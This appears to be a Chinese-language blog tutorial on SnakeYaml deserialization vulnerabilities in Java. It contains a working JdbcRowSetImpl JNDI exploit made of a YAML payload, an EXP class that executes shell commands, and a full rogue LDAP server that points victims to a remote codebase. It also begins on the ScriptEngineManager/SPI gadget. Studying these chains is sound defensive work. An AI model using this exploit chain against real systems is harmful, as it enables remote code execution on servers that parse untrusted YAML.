SnakeYaml是一个用于Java的Yaml解析库
什么是Yaml?它是一种人类可读的数据序列化标准,它的设计最初目标就是为了方便阅读和编写,常用于配置文件
YAML基本格式要求:
- YAML大小写敏感
- 使用缩进代表层级关系
- 缩进只能使用空格,不能使用TAB,不要求空格个数,只需要相同层级左对齐
配置环境依赖
Jdk8u66
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.27</version>
</dependency>
java里处理yaml主要就是利用SnakeYaml库进行处理,支持java对象的序列化和反序列化
分析
SnakeYaml提供了Yaml.dump()和Yaml.load()这两个函数对yaml格式的数据进行序列化和反序列化
我们去代码里看一下
Yaml.load()
T load(String yaml) {
return (T)this.loadFromReader(new StreamReader(yaml), Object.class);
将字符串包装成流,并且不限制返回类型,参数可以是字符串也可以是文件
简单来说将yaml转换成java对象
Yaml.dupm()
public void dump(Object data, Writer output) {
List<Object> list = new ArrayList(1);
list.add(data); //把你的对象包装进一个列表
//调用核心序列化逻辑,将 Java 对象转换成 YAML 文本写入 output
this.dumpAll(list.iterator(), output, (Tag)null);
}
序列化,输出一个java对象输出一段YAML格式的文本流
写个例子
Person类
public class Person {
private String name;
private int age;
public Person(){};
public Person(String name,int age) {
this.name=name;
this.age=age;
}
public String getName(){
System.out.println("getName");
return name;
}
public void setName(String name){
this.name=name;
System.out.println("setName");
}
public int getAge() {
System.out.println("getAge");
return age;
}
public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}
}
测试类
import org.yaml.snakeyaml.Yaml;
public class test_1 {
public static void main(String[] args) {
Person person=new Person("sunempty",20);
Yaml yaml=new Yaml();
String dump = yaml.dump(person);
System.out.println(dump);
Object obj=yaml.load(dump);
System.out.println(obj);
}
}
运行结果:
getAge
getName
!!Person {age: 20, name: sunempty}
setAge
setName
Person@ee7d9f1
注意这里有参的get方法是没办法自动触发到get方法的,根本原因是因为在SnakeYaml尝试将Person对象转换为文本流时候,不是直接读源代码,而是通过java自带的Introspector机制(内省器)去询问的,要满足JavaBeans规范
Getter带了参数,在dump中就不会被识别,导致序列化出来的yaml内容为空,同样Setter也一样,要符合规范,对于写入器来说,要求就是有对应set的参数才能写入
最后说明yaml序列化时,即调用yaml.dump()时,会调用目标类的getter方法
调用yaml.load()时,会调用目标类的setter方法
!!:表示这是一个特定类型的标签(Tag)或者理解为强制类型声明或者指定类型实例化,强制转换位!!后指定的类型
@:分隔符。
ee7d9f1:对象的哈希码(十六进制)
利用链——jdbcRowSetlmpl利用链
因为会自动调用到set和get方法,和fastjson低版本的利用很像,这个就是利用调用到setAutoCommit方法
最后将 dataSourceName 传给 lookup 方法,就可以保证可以访问到远程的攻击服务器
具体走的链子可以看原来写过的fastjson文章
poc
import org.yaml.snakeyaml.Yaml;
public class test1 {
public static void main(String[] args) {
String payload = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: \"ldap://127.0.0.1:9999/EXP\", autoCommit: true}";
Yaml yaml = new Yaml();
Object obj = yaml.load(payload);
System.out.println(obj);
}
}
EXP.class
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
public class EXP {
public EXP() {
System.out.println("=== EXP Constructor Executed ===");
}
static {
System.out.println("=== EXP Class Static Block Executed ===");
try {
Runtime.getRuntime().exec("open -a Calculator");
System.out.println("=== Calculator command executed ===");
Runtime.getRuntime().exec("touch /tmp/fastjson_success");
} catch (Exception var1) {
System.err.println("=== Error executing command ===");
var1.printStackTrace();
}
}
}
LDAP
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.URL;
public class test1_LDAP {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] args) {
// 使用带 # 的 URL
String codebase = "http://127.0.0.1:8888/#EXP";
int port = 9999;
if (args.length > 0) {
codebase = args[0];
}
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(codebase)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
System.out.println("Codebase: " + codebase);
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor(URL cb) {
this.codebase = cb;
}
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
System.out.println("=== LDAP Server: Received request for base: " + base + " ===");
Entry e = new Entry(base);
try {
sendResult(result, base, e);
System.out.println("=== LDAP Server: Response sent successfully ===");
} catch (Exception e1) {
System.err.println("=== LDAP Server: Error sending response ===");
e1.printStackTrace();
}
}
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e)
throws Exception {
// 获取类名(# 后面的部分)
String className = this.codebase.getRef();
System.out.println("Extracted class name: " + className);
if (className == null || className.isEmpty()) {
// 如果没有 #,从路径中提取类名
String path = this.codebase.getPath();
if (path.contains("/")) {
className = path.substring(path.lastIndexOf('/') + 1);
// 去掉 .class 后缀(如果有)
if (className.endsWith(".class")) {
className = className.substring(0, className.length() - 6);
}
} else {
className = path;
}
System.out.println("Using class name from path: " + className);
}
// 构造类文件 URL
String codebaseUrl = this.codebase.toString();
int refPos = codebaseUrl.indexOf('#');
if (refPos > 0) {
codebaseUrl = codebaseUrl.substring(0, refPos);
}
// 确保 codebaseUrl 以 / 结尾
if (!codebaseUrl.endsWith("/")) {
codebaseUrl += "/";
}
URL classUrl = new URL(codebaseUrl + className.replace('.', '/') + ".class");
System.out.println("Class URL: " + classUrl);
System.out.println("CodeBase: " + codebaseUrl);
System.out.println("Factory: " + className);
e.addAttribute("javaClassName", "java.lang.String");
e.addAttribute("javaCodeBase", codebaseUrl);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", className);
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
System.out.println("=== LDAP Server: Sent reference for class: " + className + " ===");
}
}
}
利用链——ScriptEngineManager
由于yaml反序列化可以通过!!+类名指定反序列化的类,在反序列化过程中会实例化该类
利用了其SPI机制
SPI机制
Java SPI是java官方提供的一种服务发现机制,允许在运行时动态加载实现特定接口的类,并且不需要在代码中显式指定
核心思想是接口与实现分离,通过配置自动寻找实现类
SPI 运作通常包含三个角色:
- Service Interface: 一个接口或抽象类(例如
javax.script.ScriptEngineFactory) - Service Provider: 实现了该接口的具体类(例如
EXP.java) - Configuration File: 一个位于
META-INF/services/下的配置文件
持续更新~